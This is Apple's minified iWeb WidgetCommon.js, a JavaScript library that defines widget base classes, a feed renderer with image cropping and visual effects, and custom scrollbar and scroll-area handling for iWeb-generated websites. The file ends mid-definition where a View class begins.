//
//  iWeb - WidgetCommon.js
//  Copyright (c) 2007-2008 Apple Inc. All rights reserved.
//

var widgets=[];var identifiersToStringLocalizations=[];var Widget=Class.create({initialize:function(instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp)
{if(instanceID)
{this.instanceID=instanceID;this.widgetPath=widgetPath;this.sharedPath=sharedPath;this.sitePath=sitePath;this.preferences=preferences;this.runningInApp=(runningInApp===undefined)?false:runningInApp;this.onloadReceived=false;if(this.preferences&&this.runningInApp==true)
{this.preferences.widget=this;setTransparentGifURL(this.sharedPath.stringByAppendingPathComponent("None.gif"));}
this.div().widget=this;window[instanceID]=this;widgets.push(this);widgets[instanceID]=this;if(!this.constructor.instances)
{this.constructor.instances=new Array();}
this.constructor.instances.push(this);}},div:function()
{var divID=this.instanceID;if(arguments.length==1)
{divID=this.instanceID+"-"+arguments[0];}
return $(divID);},onload:function()
{this.onloadReceived=true;},onunload:function()
{},didBecomeSelected:function()
{},didBecomeDeselected:function()
{},didBeginEditing:function()
{},didEndEditing:function()
{},setNeedsDisplay:function()
{},preferenceForKey:function(key)
{var value;if(this.preferences)
value=this.preferences[key];return value;},initializeDefaultPreferences:function(prefs)
{var self=this;$H(prefs).each(function(pair)
{if(self.preferenceForKey(pair.key)===undefined)
{self.setPreferenceForKey(pair.value,pair.key,false);}});},setPreferenceForKey:function(preference,key,registerUndo)
{if(this.runningInApp)
{if(registerUndo===undefined)
registerUndo=true;if((registerUndo==false)&&this.preferences.disableUndoRegistration)
this.preferences.disableUndoRegistration();this.preferences[key]=preference;if((registerUndo==false)&&this.preferences.enableUndoRegistration)
this.preferences.enableUndoRegistration();}
else
{this.preferences[key]=preference;this.changedPreferenceForKey(key);}},changedPreferenceForKey:function(key)
{},postNotificationWithNameAndUserInfo:function(name,userInfo)
{if(window.NotificationCenter!==undefined)
{NotificationCenter.postNotification(new IWNotification(name,null,userInfo));}},sizeWillChange:function()
{},sizeDidChange:function()
{},widgetWidth:function()
{var enclosingDiv=this.div();if(enclosingDiv)
return enclosingDiv.offsetWidth;else
return null;},widgetHeight:function()
{var enclosingDiv=this.div();if(enclosingDiv)
return enclosingDiv.offsetHeight;else
return null;},getInstanceId:function(id)
{var fullId=this.instanceID+"-"+id;if(arguments.length==2)
{fullId+=("$"+arguments[1]);}
return fullId;},getElementById:function(id)
{var fullId=this.getInstanceId.apply(this,arguments);return $(fullId);},localizedString:function(string)
{return LocalizedString(this.widgetIdentifier,string);},showView:function(viewName)
{var futureView=this.m_views[viewName];if((futureView!=this.m_currentView)&&(futureView!=this.m_futureView))
{this.m_futureView=futureView;if(this.m_fadeAnimation)
{this.m_fadeAnimation.stop();}
var previousView=this.m_currentView;this.m_currentView=futureView;var currentView=this.m_currentView;this.m_futureView=null;this.m_fadeAnimation=new SimpleAnimation(function(){delete this.m_fadeAnimation;}.bind(this));this.m_fadeAnimation.pre=function()
{if(previousView)
{previousView.ensureDiv().setStyle({zIndex:0,opacity:1});}
if(currentView)
{currentView.ensureDiv().setStyle({zIndex:1,opacity:0});currentView.show();currentView.render();}}
this.m_fadeAnimation.post=function()
{!previousView||previousView.hide();!currentView||currentView.ensureDiv().setStyle({zIndex:'',opacity:1});!currentView||!currentView.doneFadingIn||currentView.doneFadingIn();}
this.m_fadeAnimation.update=function(now)
{!currentView||currentView.ensureDiv().setOpacity(now);!previousView||previousView.ensureDiv().setOpacity(1-now);}.bind(this);this.m_fadeAnimation.start();}}});Widget.onload=function()
{for(var i=0;i<widgets.length;i++)
{widgets[i].onload();}}
Widget.onunload=function()
{for(var i=0;i<widgets.length;i++)
{widgets[i].onunload();}}
function RegisterWidgetStrings(identifier,strings)
{identifiersToStringLocalizations[identifier]=strings;}
function LocalizedString(identifier,string)
{var localized=undefined;var localizations=identifiersToStringLocalizations[identifier];if(localizations===undefined)
{iWLog("warning: no localizations for widget "+identifier+", (key:"+string+")");}
else
{localized=localizations[string];}
if(localized===undefined)
{iWLog("warning: couldn't find a localization for '"+string+"' for widget "+identifier);localized=string;}
return localized;}
function WriteLocalizedString(identifier,string)
{document.write(LocalizedString(identifier,string));}
var JSONFeedRendererWidget=Class.create(Widget,{initialize:function($super,instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp)
{if(instanceID)
{$super(instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp);}},changedPreferenceForKey:function(key)
{try
{var value=this.preferenceForKey(key);if(key=="sfr-shadow")
{if(value!=null)
{this.sfrShadow=eval(value);}
else
{this.sfrShadow=null;}
this.renderFeedItems("sfr-shadow");}
if(key=="sfr-stroke")
{if(value!==null)
this.sfrStroke=eval(value);else
this.sfrStroke=null;this.invalidateFeedItems("sfr-stroke");}
if(key=="sfr-reflection")
{if(value!==null)
{this.sfrReflection=eval(value);}
else
{this.sfrReflection=null;}
this.invalidateFeedItems("sfr-reflection");}}
catch(e)
{iWLog("JSONFeedRendererWidget: exception");debugPrintException(e);}},invalidateFeedItems:function(reason)
{trace('invalidateFeedItems(%s)',reason);if(this.pendingRender!==null)
{clearTimeout(this.pendingRender);}
this.pendingRender=setTimeout(function()
{this.pendingRender=null;this.renderFeedItems(reason);}.bind(this),50);},rerenderImage:function(imgGroupDiv,imgDiv,imageUrlString,entryHasImage,photoProportions,imageWidth,positioningHandler,onloadHandler)
{imgGroupDiv.update();if(entryHasImage)
{imgGroupDiv.strokeApplied=false;imgGroupDiv.reflectionApplied=false;imgGroupDiv.shadowApplied=false;imgGroupDiv.setStyle({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});imgGroupDiv.style.position='relative';imgDiv.style.position='relative';var imageUrl=imageUrlString||transparentGifURL();var image=IWCreateImage(imageUrl);image.load(function(image,imgDiv,imgGroupDiv,positioningHandler,onloadHandler)
{var cropDiv=this.croppingDivForImage(image,photoProportions,imageWidth);imgGroupDiv.appendChild(cropDiv);if(positioningHandler)
{positioningHandler();}
if(image.sourceURL()!==transparentGifURL())
{this.applyEffects(imgGroupDiv);}
if(onloadHandler)
{onloadHandler();}}.bind(this,image,imgDiv,imgGroupDiv,positioningHandler,onloadHandler));}},croppingDivForImage:function(image,kind,width)
{var croppedSize=function(originalSize,cropKind,width)
{if(cropKind=="Square")
{return new IWSize(width,width);}
else if(cropKind=="Landscape")
{return new IWSize(width,width*(3/4));}
else if(cropKind=="Portrait")
{return new IWSize(width,width*(4/3));}
else
{var scaleFactor=width/originalSize.width;return originalSize.scale(scaleFactor,scaleFactor,true);}};var cropDiv=null;if(image.loaded())
{var img=$(document.createElement('img'));img.src=image.sourceURL();var natural=image.naturalSize();cropDiv=$(document.createElement("div"));cropDiv.appendChild(img);var croppingDivForImage_helper=function(loadedImage)
{if(loadedImage)
{natural=new IWSize(loadedImage.width,loadedImage.height);}
var cropped=croppedSize(natural,kind,width);var scaleFactor=cropped.width/natural.width;if(natural.aspectRatio()>cropped.aspectRatio())
{scaleFactor=cropped.height/natural.height;}
var scaled=natural.scale(scaleFactor);var offset=new IWPoint(Math.abs(scaled.width-cropped.width)/2,Math.abs(scaled.height-cropped.height)/2);img.setStyle({width:px(scaled.width),height:px(scaled.height),marginLeft:px(-offset.x),marginTop:px(-offset.y),position:'relative'});cropDiv.setStyle({width:px(cropped.width),height:px(cropped.height),overflow:"hidden",position:'relative'});cropDiv.className="crop";}
if(windowsInternetExplorer&&effectiveBrowserVersion<7&&img.src.indexOf(transparentGifURL())!=-1)
{var originalImage=new Image();originalImage.src=img.originalSrc;if(originalImage.complete)
{croppingDivForImage_helper(originalImage);}
else
{originalImage.onload=croppingDivForImage_helper.bind(null,originalImage);}}
else
{croppingDivForImage_helper(null);}}
return cropDiv;},applyEffects:function(div)
{if(this.sfrShadow||this.sfrReflection||this.sfrStroke)
{if((div.offsetWidth===undefined)||(div.offsetHeight===undefined)||(div.offsetWidth===0)||(div.offsetHeight===0))
{setTimeout(JSONFeedRendererWidget.prototype.applyEffects.bind(this,div),0)
return;}
if(this.sfrStroke&&(div.strokeApplied==false))
{this.sfrStroke.applyToElement(div);div.strokeApplied=true;}
if(this.sfrReflection&&(div.reflectionApplied==false))
{this.sfrReflection.applyToElement(div);div.reflectionApplied=true;}
if(this.sfrShadow&&(!this.disableShadows)&&(div.shadowApplied==false))
{this.sfrShadow.applyToElement(div);div.shadowApplied=true;}
if(this.runningInApp&&(window.webKitVersion<=419)&&this.preferences.setNeedsDisplay)
{this.preferences.setNeedsDisplay();}}
if(windowsInternetExplorer)
{var cropDivs=div.select(".crop");var cropDiv=cropDivs[cropDivs.length-1];if(cropDiv)
{cropDiv.onclick=function()
{var anchorNode=div.parentNode;var targetHref=locationHRef();while(anchorNode&&(anchorNode.tagName!="A"))
{anchorNode=anchorNode.parentNode}
if(anchorNode)
{targetHref=anchorNode.href;}
window.location=targetHref;};cropDiv.onmouseover=function()
{this.style.cursor='pointer';}}}},summaryExcerpt:function(descriptionHTML,maxSummaryLength)
{var div=document.createElement("div");div.innerHTML=descriptionHTML;if(maxSummaryLength>0)
{var model=new HTMLTextModel(div);model.truncateAroundPosition(maxSummaryLength,"...");}
else if(maxSummaryLength===0)
{div.innerHTML="";}
return div.innerHTML;}});var PrefMarkupWidget=Class.create(Widget,{initialize:function($super,instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp)
{if(instanceID)
{$super(instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp);}},onload:function()
{if(!this.runningInApp)
{this.setUpSubDocumentOnLoad();}},setUpSubDocumentOnLoad:function()
{var self=this;var oIFrame=this.getElementById("frame");if(oIFrame)
{setTimeout(function(){self.loadedSubDocument()},250);}},loadedSubDocument:function()
{var oIFrame=this.getElementById("frame");var oSubDocument=oIFrame.contentWindow||oIFrame.contentDocument;if(oSubDocument.document)
{oSubDocument=oSubDocument.document;}
if(oSubDocument.body)
{this.fixTargetOnElements(oSubDocument,"a");this.fixTargetOnElements(oSubDocument,"form");}
else
{var self=this;setTimeout(function(){self.loadedSubDocument()},250);}},fixTargetOnElements:function(doc,tagName)
{var elements=doc.getElementsByTagName(tagName);for(var i=0;i<elements.length;i++)
{var target=elements[i].target;if(target===undefined||target=="")
elements[i].target="_top";}}});function IWScrollbar(scrollbar)
{}
IWScrollbar.prototype._init=function()
{var style=null;var element=null;this._track=$(document.createElement("div"));style=this._track.style;style.height="100%";style.width="100%";this.scrollbar.appendChild(this._track);element=$(document.createElement("div"));element.style.position="absolute";this._setObjectStart(element,0);this._track.appendChild(element);element=$(document.createElement("div"));element.style.position="absolute";this._track.appendChild(element);element=$(document.createElement("div"));element.style.position="absolute";windowsInternetExplorer||this._setObjectEnd(element,0);this._track.appendChild(element);this._thumb=$(document.createElement("div"));style=this._thumb.style;style.position="absolute";this._setObjectSize(this._thumb,this.minThumbSize);this._track.appendChild(this._thumb);element=$(document.createElement("div"));element.style.position="absolute";this._setObjectStart(element,0);this._thumb.appendChild(element);element=$(document.createElement("div"));element.style.position="absolute";this._thumb.appendChild(element);element=$(document.createElement("div"));element.style.position="absolute";windowsInternetExplorer||this._setObjectEnd(element,0);this._thumb.appendChild(element);this.setSize(this.size);this.setTrackStart(this.trackStartPath,this.trackStartLength);this.setTrackMiddle(this.trackMiddlePath);this.setTrackEnd(this.trackEndPath,this.trackEndLength);this.setThumbStart(this.thumbStartPath,this.thumbStartLength);this.setThumbMiddle(this.thumbMiddlePath);this.setThumbEnd(this.thumbEndPath,this.thumbEndLength);this._thumb.style.display="none";Event.observe(this._track,"mousedown",this._mousedownTrackHandler,false);Event.observe(this._thumb,"mousedown",this._mousedownThumbHandler,false);}
IWScrollbar.prototype.remove=function()
{this.scrollbar.removeChild(this._track);}
IWScrollbar.prototype._captureEvent=function(event)
{event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._mousedownThumb=function(event)
{Event.observe(document,"mousemove",this._mousemoveThumbHandler,true);Event.observe(document,"mouseup",this._mouseupThumbHandler,true);Event.observe(document,"mouseover",this._captureEventHandler,true);Event.observe(document,"mouseout",this._captureEventHandler,true);this._thumbStart_temp=this._getMousePosition(event);this._scroll_thumbStartPos=this._getThumbStartPos();event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._mousemoveThumb=function(event)
{var delta=this._getMousePosition(event)-this._thumbStart_temp;var new_pos=this._scroll_thumbStartPos+delta;this.scrollTo(this._contentPositionForThumbPosition(new_pos));event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._mouseupThumb=function(event)
{Event.stopObserving(document,"mousemove",this._mousemoveThumbHandler,true);Event.stopObserving(document,"mouseup",this._mouseupThumbHandler,true);Event.stopObserving(document,"mouseover",this._captureEventHandler,true);Event.stopObserving(document,"mouseout",this._captureEventHandler,true);delete this._thumbStart_temp;delete this._scroll_thumbStartPos;event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._mousedownTrack=function(event)
{this._track_mouse_temp=this._getMousePosition(event)-this._trackOffset;if(event.altKey)
{this.scrollTo(this._contentPositionForThumbPosition(this._track_mouse_temp-(this._thumbLength/2)));delete this._track_mouse_temp;}
else
{this._track_scrolling=true;Event.observe(this._track,"mousemove",this._mousemoveTrackHandler,true);Event.observe(this._track,"mouseover",this._mouseoverTrackHandler,true);Event.observe(this._track,"mouseout",this._mouseoutTrackHandler,true);Event.observe(document,"mouseup",this._mouseupTrackHandler,true);this._trackScrollOnePage(this);this._track_timer=setInterval(this._trackScrollDelay,500,this);}
event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._trackScrollDelay=function(self)
{if(!self._track_scrolling)return;clearInterval(self._track_timer);self._trackScrollOnePage(self);self._track_timer=setInterval(self._trackScrollOnePage,150,self);}
IWScrollbar.prototype._mousemoveTrack=function(event)
{this._track_mouse_temp=this._getMousePosition(event)-this._trackOffset;event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._mouseoverTrack=function(event)
{this._track_mouse_temp=this._getMousePosition(event)-this._trackOffset;this._track_scrolling=true;event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._mouseoutTrack=function(event)
{this._track_scrolling=false;event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._mouseupTrack=function(event)
{clearInterval(this._track_timer);Event.stopObserving(this._track,"mousemove",this._mousemoveTrackHandler,true);Event.stopObserving(this._track,"mouseover",this._mouseoverTrackHandler,true);Event.stopObserving(this._track,"mouseout",this._mouseoutTrackHandler,true);Event.stopObserving(document,"mouseup",this._mouseupTrackHandler,true);delete this._track_mouse_temp;delete this._track_scrolling;delete this._track_timer;event.stopPropagation();event.preventDefault();}
IWScrollbar.prototype._trackScrollOnePage=function(self)
{if(!self._track_scrolling)return;var deltaScroll=Math.round(self._trackLength*self._getViewToContentRatio());if(self._track_mouse_temp<self._thumbStart)
self.scrollByThumbDelta(-deltaScroll);else if(self._track_mouse_temp>(self._thumbStart+self._thumbLength))
self.scrollByThumbDelta(deltaScroll);}
IWScrollbar.prototype.setScrollArea=function(scrollarea)
{if(this.scrollarea)
{Event.stopObserving(this.scrollbar,"mousewheel",this.scrollarea._mousewheelScrollHandler,true);Event.stopObserving(this.scrollbar,"DOMMouseScroll",this.scrollarea._mousewheelScrollHandler,true);}
this.scrollarea=scrollarea;Event.observe(this.scrollbar,"mousewheel",this.scrollarea._mousewheelScrollHandler,true);Event.observe(this.scrollbar,"DOMMouseScroll",this.scrollarea._mousewheelScrollHandler,true);}
IWScrollbar.prototype.refresh=function()
{this._trackOffset=this._computeTrackOffset();this._trackLength=this._computeTrackLength();var ratio=this._getViewToContentRatio();if(ratio>=1.0||!this._canScroll())
{if(this.autohide)
{this.hide();}
this._thumb.style.display="none";this.scrollbar.style.appleDashboardRegion="none";}
else
{this._thumbLength=Math.max(Math.round(this._trackLength*ratio),this.minThumbSize);this._numScrollablePixels=this._trackLength-this._thumbLength-(2*this.padding);this._setObjectLength(this._thumb,this._thumbLength);if(windowsInternetExplorer)
{this._setObjectStart(this._thumb.down().next(),this.thumbStartLength);this._setObjectLength(this._thumb.down().next(),this._thumbLength
-this.thumbStartLength-this.thumbEndLength);this._setObjectStart(this._thumb.down().next(1),this._thumbLength-this.thumbEndLength);this._setObjectLength(this._thumb.down().next(1),this.thumbEndLength);if(!this.fixedUpIEPNGBGs)
{fixupIEPNGBGsInTree(this._track);Event.stopObserving(this._track,"mousedown",this._mousedownTrackHandler);Event.stopObserving(this._thumb,"mousedown",this._mousedownThumbHandler);Event.observe(this._track,"mousedown",this._mousedownTrackHandler);Event.observe(this._thumb,"mousedown",this._mousedownThumbHandler);this.fixedUpIEPNGBGs=true;}}
this._thumb.style.display="block";this.scrollbar.style.appleDashboardRegion="dashboard-region(control rectangle)";this.show();}
this.verticalHasScrolled();this.horizontalHasScrolled();}
IWScrollbar.prototype.setAutohide=function(autohide)
{this.autohide=autohide;if(this._getViewToContentRatio()>=1.0&&autohide)
{this.hide();}
else
{this.show();}}
IWScrollbar.prototype.hide=function()
{this._track.style.display="none";this.hidden=true;}
IWScrollbar.prototype.show=function()
{this._track.style.display="block";this.hidden=false;}
IWScrollbar.prototype.setSize=function(size)
{this.size=size;this._setObjectSize(this.scrollbar,size);this._setObjectSize(this._track.down().next(),size);this._setObjectSize(this._thumb.down().next(),size);}
IWScrollbar.prototype.setTrackStart=function(imgpath,length)
{this.trackStartPath=imgpath;this.trackStartLength=length;var element=this._track.down();element.style.background="url("+imgpath+") no-repeat top left";this._setObjectLength(element,length);this._setObjectSize(element,this.size);this._setObjectStart(this._track.down().next(),length);}
IWScrollbar.prototype.setTrackMiddle=function(imgpath)
{this.trackMiddlePath=imgpath;this._track.down().next().style.background="url("+imgpath+") "+this._repeatType+" top left";}
IWScrollbar.prototype.setTrackEnd=function(imgpath,length)
{this.trackEndPath=imgpath;this.trackEndLength=length;var element=this._track.down().next(1);element.style.background="url("+imgpath+") no-repeat top left";this._setObjectLength(element,length);this._setObjectSize(element,this.size);windowsInternetExplorer||this._setObjectEnd(this._track.down().next(),length);}
IWScrollbar.prototype.setThumbStart=function(imgpath,length)
{this.thumbStartPath=imgpath;this.thumbStartLength=length;var element=this._thumb.down();element.style.background="url("+imgpath+") no-repeat top left";this._setObjectLength(element,length);this._setObjectSize(element,this.size);this._setObjectStart(this._thumb.down().next(),length);}
IWScrollbar.prototype.setThumbMiddle=function(imgpath)
{this.thumbMiddlePath=imgpath;this._thumb.down().next().style.background="url("+imgpath+") "+this._repeatType+" top left";}
IWScrollbar.prototype.setThumbEnd=function(imgpath,length)
{this.thumbEndPath=imgpath;this.thumbEndLength=length;var element=this._thumb.down().next(1);element.style.background="url("+imgpath+") no-repeat top left";this._setObjectLength(element,length);this._setObjectSize(element,this.size);windowsInternetExplorer||this._setObjectEnd(this._thumb.down().next(),length);}
IWScrollbar.prototype._contentPositionForThumbPosition=function(thumb_pos)
{if(this._getViewToContentRatio()>=1.0)
{return 0;}
else
{return(thumb_pos-this.padding)*((this._getContentLength()-this._getViewLength())/this._numScrollablePixels);}}
IWScrollbar.prototype._thumbPositionForContentPosition=function(page_pos)
{if(this._getViewToContentRatio()>=1.0)
{return this.padding;}
else
{var result=this.padding+(page_pos/((this._getContentLength()-this._getViewLength())/this._numScrollablePixels));if(isNaN(result))
result=0;return result;}}
IWScrollbar.prototype.scrollByThumbDelta=function(deltaScroll)
{if(deltaScroll==0)
return;this.scrollTo(this._contentPositionForThumbPosition(this._thumbStart+deltaScroll));}
function IWVerticalScrollbar(scrollbar)
{this.scrollarea=null;this.scrollbar=$(scrollbar);this.minThumbSize=28;this.padding=-1;this.autohide=true;this.hidden=true;this.size=19;this.trackStartPath=transparentGifURL();this.trackStartLength=18;this.trackMiddlePath=transparentGifURL();this.trackEndPath=transparentGifURL();this.trackEndLength=18;this.thumbStartPath=transparentGifURL();this.thumbStartLength=9;this.thumbMiddlePath=transparentGifURL();this.thumbEndPath=transparentGifURL();this.thumbEndLength=9;this._track=null;this._thumb=null;this._trackOffset=0;this._trackLength=0;this._numScrollablePixels=0;this._thumbLength=0;this._repeatType="repeat-y";this._thumbStart=this.padding;var _self=this;this._captureEventHandler=function(event){_self._captureEvent(event);};this._mousedownThumbHandler=function(event){_self._mousedownThumb(event);};this._mousemoveThumbHandler=function(event){_self._mousemoveThumb(event);};this._mouseupThumbHandler=function(event){_self._mouseupThumb(event);};this._mousedownTrackHandler=function(event){_self._mousedownTrack(event);};this._mousemoveTrackHandler=function(event){_self._mousemoveTrack(event);};this._mouseoverTrackHandler=function(event){_self._mouseoverTrack(event);};this._mouseoutTrackHandler=function(event){_self._mouseoutTrack(event);};this._mouseupTrackHandler=function(event){_self._mouseupTrack(event);};this._init();}
IWVerticalScrollbar.prototype=new IWScrollbar(null);IWVerticalScrollbar.prototype.scrollTo=function(pos)
{this.scrollarea.verticalScrollTo(pos);}
IWVerticalScrollbar.prototype._setObjectSize=function(object,size)
{object.style.width=size+"px";}
IWVerticalScrollbar.prototype._setObjectLength=function(object,length)
{object.style.height=length+"px";}
IWVerticalScrollbar.prototype._setObjectStart=function(object,start)
{object.style.top=start+"px";}
IWVerticalScrollbar.prototype._setObjectEnd=function(object,end)
{object.style.bottom=end+"px";}
IWVerticalScrollbar.prototype._getMousePosition=function(event)
{if(event!=undefined)
return Event.pointerY(event);else
return 0;}
IWVerticalScrollbar.prototype._getThumbStartPos=function()
{return this._thumb.offsetTop;}
IWVerticalScrollbar.prototype._computeTrackOffset=function()
{var obj=this.scrollbar;var curtop=0;while(obj.offsetParent)
{curtop+=obj.offsetTop;obj=obj.offsetParent;}
return curtop;}
IWVerticalScrollbar.prototype._computeTrackLength=function()
{return this.scrollbar.offsetHeight;}
IWVerticalScrollbar.prototype._getViewToContentRatio=function()
{return this.scrollarea.viewToContentHeightRatio;}
IWVerticalScrollbar.prototype._getContentLength=function()
{return this.scrollarea.content.scrollHeight;}
IWVerticalScrollbar.prototype._getViewLength=function()
{return this.scrollarea.viewHeight;}
IWVerticalScrollbar.prototype._canScroll=function()
{return this.scrollarea.scrollsVertically;}
IWVerticalScrollbar.prototype.verticalHasScrolled=function()
{var new_thumb_pos=this._thumbPositionForContentPosition(this.scrollarea.content.scrollTop);this._thumbStart=new_thumb_pos;this._thumb.style.top=new_thumb_pos+"px";}
IWVerticalScrollbar.prototype.horizontalHasScrolled=function()
{}
function IWHorizontalScrollbar(scrollbar)
{this.scrollarea=null;this.scrollbar=$(scrollbar);this.minThumbSize=28;this.padding=-1;this.autohide=true;this.hidden=true;this.size=19;this.trackStartPath=transparentGifURL();this.trackStartLength=18;this.trackMiddlePath=transparentGifURL();this.trackEndPath=transparentGifURL();this.trackEndLength=18;this.thumbStartPath=transparentGifURL();this.thumbStartLength=9;this.thumbMiddlePath=transparentGifURL();this.thumbEndPath=transparentGifURL();this.thumbEndLength=9;this._track=null;this._thumb=null;this._trackOffset=0;this._trackLength=0;this._numScrollablePixels=0;this._thumbLength=0;this._repeatType="repeat-x";this._thumbStart=this.padding;var _self=this;this._captureEventHandler=function(event){_self._captureEvent(event);};this._mousedownThumbHandler=function(event){_self._mousedownThumb(event);};this._mousemoveThumbHandler=function(event){_self._mousemoveThumb(event);};this._mouseupThumbHandler=function(event){_self._mouseupThumb(event);};this._mousedownTrackHandler=function(event){_self._mousedownTrack(event);};this._mousemoveTrackHandler=function(event){_self._mousemoveTrack(event);};this._mouseoverTrackHandler=function(event){_self._mouseoverTrack(event);};this._mouseoutTrackHandler=function(event){_self._mouseoutTrack(event);};this._mouseupTrackHandler=function(event){_self._mouseupTrack(event);};this._init();}
IWHorizontalScrollbar.prototype=new IWScrollbar(null);IWHorizontalScrollbar.prototype.scrollTo=function(pos)
{this.scrollarea.horizontalScrollTo(pos);}
IWHorizontalScrollbar.prototype._setObjectSize=function(object,size)
{object.style.height=size+"px";}
IWHorizontalScrollbar.prototype._setObjectLength=function(object,length)
{object.style.width=length+"px";}
IWHorizontalScrollbar.prototype._setObjectStart=function(object,start)
{object.style.left=start+"px";}
IWHorizontalScrollbar.prototype._setObjectEnd=function(object,end)
{object.style.right=end+"px";}
IWHorizontalScrollbar.prototype._getMousePosition=function(event)
{if(event!=undefined)
return Event.pointerX(event);else
return 0;}
IWHorizontalScrollbar.prototype._getThumbStartPos=function()
{return this._thumb.offsetLeft;}
IWHorizontalScrollbar.prototype._computeTrackOffset=function()
{var obj=this.scrollbar;var curtop=0;while(obj.offsetParent)
{curtop+=obj.offsetLeft;obj=obj.offsetParent;}
return curtop;}
IWHorizontalScrollbar.prototype._computeTrackLength=function()
{return this.scrollbar.offsetWidth;}
IWHorizontalScrollbar.prototype._getViewToContentRatio=function()
{return this.scrollarea.viewToContentWidthRatio;}
IWHorizontalScrollbar.prototype._getContentLength=function()
{return this.scrollarea.content.scrollWidth;}
IWHorizontalScrollbar.prototype._getViewLength=function()
{return this.scrollarea.viewWidth;}
IWHorizontalScrollbar.prototype._canScroll=function()
{return this.scrollarea.scrollsHorizontally;}
IWHorizontalScrollbar.prototype.verticalHasScrolled=function()
{}
IWHorizontalScrollbar.prototype.horizontalHasScrolled=function()
{var new_thumb_pos=this._thumbPositionForContentPosition(this.scrollarea.content.scrollLeft);this._thumbStart=new_thumb_pos;this._thumb.style.left=new_thumb_pos+"px";}
function IWScrollArea(content)
{this.content=$(content);this.scrollsVertically=true;this.scrollsHorizontally=true;this.singlepressScrollPixels=10;this.viewHeight=0;this.viewToContentHeightRatio=1.0;this.viewWidth=0;this.viewToContentWidthRatio=1.0;this._scrollbars=new Array();var _self=this;this._refreshHandler=function(){_self.refresh();};this._keyPressedHandler=function(){_self.keyPressed(event);};this._mousewheelScrollHandler=function(event){_self.mousewheelScroll(event);};this.content.style.overflow="hidden";this.content.scrollTop=0;this.content.scrollLeft=0;Event.observe(this.content,"mousewheel",this._mousewheelScrollHandler,true);Event.observe(this.content,"DOMMouseScroll",this._mousewheelScrollHandler,true);this.refresh();var c=arguments.length;for(var i=1;i<c;++i)
{this.addScrollbar(arguments[i]);}}
IWScrollArea.prototype.addScrollbar=function(scrollbar)
{scrollbar.setScrollArea(this);this._scrollbars.push(scrollbar);scrollbar.refresh();}
IWScrollArea.prototype.removeScrollbar=function(scrollbar)
{var scrollbars=this._scrollbars;var c=scrollbars.length;for(var i=0;i<c;++i)
{if(scrollbars[i]==scrollbar)
{scrollbars.splice(i,1);break;}}}
IWScrollArea.prototype.remove=function()
{Event.stopObserving(this.content,"mousewheel",this._mousewheelScrollHandler,true);Event.stopObserving(this.content,"DOMMouseScroll",this._mousewheelScrollHandler,true);var scrollbars=this._scrollbars;var c=scrollbars.length;for(var i=0;i<c;++i)
{scrollbars[i].setScrollArea(null);}}
IWScrollArea.prototype.refresh=function()
{this.viewHeight=this.content.offsetHeight;this.viewWidth=this.content.offsetWidth;if(this.content.scrollHeight>this.viewHeight)
{this.viewToContentHeightRatio=this.viewHeight/this.content.scrollHeight;this.verticalScrollTo(this.content.scrollTop);}
else
{this.viewToContentHeightRatio=1.0;this.verticalScrollTo(0);}
if(this.content.scrollWidth>this.viewWidth)
{this.viewToContentWidthRatio=this.viewWidth/this.content.scrollWidth;this.horizontalScrollTo(this.content.scrollLeft);}
else
{this.viewToContentWidthRatio=1.0;this.horizontalScrollTo(0);}
var scrollbars=this._scrollbars;var c=scrollbars.length;for(var i=0;i<c;++i)
{scrollbars[i].refresh();}}
IWScrollArea.prototype.focus=function()
{Event.observe(document,"keypress",this._keyPressedHandler,true);}
IWScrollArea.prototype.blur=function()
{Event.stopObserving(document,"keypress",this._keyPressedHandler,true);}
IWScrollArea.prototype.reveal=function(element)
{var offsetY=0;var obj=element;do
{offsetY+=obj.offsetTop;obj=obj.offsetParent;}while(obj&&obj!=this.content);var offsetX=0;obj=element;do
{offsetX+=obj.offsetLeft;obj=obj.offsetParent;}while(obj&&obj!=this.content);this.verticalScrollTo(offsetY);this.horizontalScrollTo(offsetX);}
IWScrollArea.prototype.verticalScrollTo=function(new_content_top)
{if(!this.scrollsVertically)
return;var bottom=this.content.scrollHeight-this.viewHeight;if(new_content_top<0)
{new_content_top=0;}
else if(new_content_top>bottom)
{new_content_top=bottom;}
this.content.scrollTop=new_content_top;var scrollbars=this._scrollbars;var c=scrollbars.length;for(var i=0;i<c;++i)
{scrollbars[i].verticalHasScrolled();}}
IWScrollArea.prototype.horizontalScrollTo=function(new_content_left)
{if(!this.scrollsHorizontally)
return;var right=this.content_width-this.viewWidth;if(new_content_left<0)
{new_content_left=0;}
else if(new_content_left>right)
{new_content_left=right;}
this.content.scrollLeft=new_content_left;var scrollbars=this._scrollbars;var c=scrollbars.length;for(var i=0;i<c;++i)
{scrollbars[i].horizontalHasScrolled();}}
IWScrollArea.prototype.keyPressed=function(event)
{var handled=true;if(event.altKey)
return;if(event.shiftKey)
return;switch(event.keyIdentifier)
{case"Home":this.verticalScrollTo(0);break;case"End":this.verticalScrollTo(this.content.scrollHeight-this.viewHeight);break;case"Up":this.verticalScrollTo(this.content.scrollTop-this.singlepressScrollPixels);break;case"Down":this.verticalScrollTo(this.content.scrollTop+this.singlepressScrollPixels);break;case"PageUp":this.verticalScrollTo(this.content.scrollTop-this.viewHeight);break;case"PageDown":this.verticalScrollTo(this.content.scrollTop+this.viewHeight);break;case"Left":this.horizontalScrollTo(this.content.scrollLeft-this.singlepressScrollPixels);break;case"Right":this.horizontalScrollTo(this.content.scrollLeft+this.singlepressScrollPixels);break;default:handled=false;}
if(handled)
{event.stopPropagation();event.preventDefault();}}
IWScrollArea.prototype.mousewheelScroll=function(event)
{var deltaScroll=event.wheelDelta?(event.wheelDelta/120*this.singlepressScrollPixels):(event.detail/-2*this.singlepressScrollPixels);this.verticalScrollTo(this.content.scrollTop-deltaScroll);event.stopPropagation();event.preventDefault();}
var View=Class.create({initialize:function(widget,parentDiv)
